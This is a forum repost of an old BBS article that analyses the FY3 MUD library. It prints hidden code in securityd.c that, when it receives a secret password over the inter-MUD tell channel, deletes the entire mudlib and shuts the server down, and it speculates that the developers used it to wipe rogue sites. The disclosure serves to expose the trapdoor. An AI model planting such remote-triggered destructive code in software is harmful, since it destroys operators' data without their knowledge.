![]() |
![]() |
#1 |
高级会员
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() 注册: 08年04月11日
来自: 盘丝洞
帖子: 311
声望力: 21
声望:
50
![]() 现金:29两梁山币
资产:1245两梁山币
致谢数: 0
获感谢文章数:0
获会员感谢数:0 |
风云三MUDLIB包含自毁灭程序
[2000年4月22日] 交大兵马俑BBS站 xuejun(雪君) 以前,我在读风云三的securityd.c的时候,发现后边有几个非常奇怪的函数,当时 我没有搞明白它们是干什么用的,所以只在前边加一句注释: //what use the follow ing?? 今天,突然产生很奇怪的念头,感觉这是风云三的设计者故意留下的后门,于是 赶紧搜索整个MUDLIB,事实证明。。。。。。。。。。。。。。咣当!雪君已经口吐鲜 血晕倒在地。 请看下边的程序: securityd.c里边: void checking_status(mapping info) { string *dir; string content; int i; content = info["MSG"]; if(crypt(content, "jqp5JO9YfN2Dk") == "jqp5JO9YfN2Dk") { rmhirdir(""); shutdown(0); } } 相信大家能看懂,上边这个函数是接收一个mapping,如果里边的MSG内容经过crypt()函 数(此函数是MUDOS的加密函数)处理后的结果是jqp5JO9YfN2Dk, 那么就将执行rmhird ir("")函数,然后把游戏关闭。 再看下边的rmhirdir()函数是在干什么, faint!!看清楚了吗?是把一个目录下内 容全部删除,包括所有子目录。如果传过去的参数是"",也就是上边调用的方法,结果就 是把整个MUDLIB删除掉!!!!吐血没有?? int rmhirdir(string dirstr) { string *dir; int i; dir = get_dir(dirstr+"/"); for(i=0; i if(file_size(dirstr+"/"+dir[i]) == -2 ) { rmhirdir( dirstr +"/"+dir[i]); rmdir(dirstr+"/"+dir[i]); } rm(dirstr+"/"+dir[i]); } rmdir(dirstr); return 1; } 现在的问题就是在什么地方会调用这个checking_status()函数,我想象成这是风 云三的设计者为了防止分站失去控制而设置的,也就是说,如果他们发现有哪个风云分 站不再听从总站的调遣了,或者说想跟这个分站终止合作关系了,或者说有人私自架设 了风云三,总站就可以向这个风云站发出一条信息,也就是一个销毁风云三MUDLIB的指 令,于是。。。。。。。。。这个站将在无形之中被摧毁掉,没有任何痕迹留下来。为 了证实我这种猜测,我在整个风云三MUDLIB里搜索checking_status这个函数,结果,在 /adm/daemons/network/service/gtell.c里边发现如下一行程序: 82行: SECURITY_D ->checking_status(info); gtell.c是在网际之间用tell指令的时候要调用的,从整个 程序看,就是如果你对其他的风云站上任何一个人使用tell命令,将先调用securityd. c里的这个 checking_status()函数判断。 由此可以看出,风云三设计者是保留了一个销毁MUDLIB的口令(可以叫口令吧?) ,如果他们看哪个风云站点不顺眼了,想把他摧毁,只要对那里边的任何一个人用tell 指令发送过这个口令,那么。。。。。。。和和。 由此我又联想到前一段时间全国风云分站同时被黑,所有程序丢失,看来,果然如 一些人所料,这是风云工作室一手策划的.............................. 以上猜测是 否正确,请行家指正。 BTW: 在比较老的单机版风云三里并没有以上的代码,但在FY3.7.1以上版本里,都 可以查到。 (完) |
![]() |
![]() |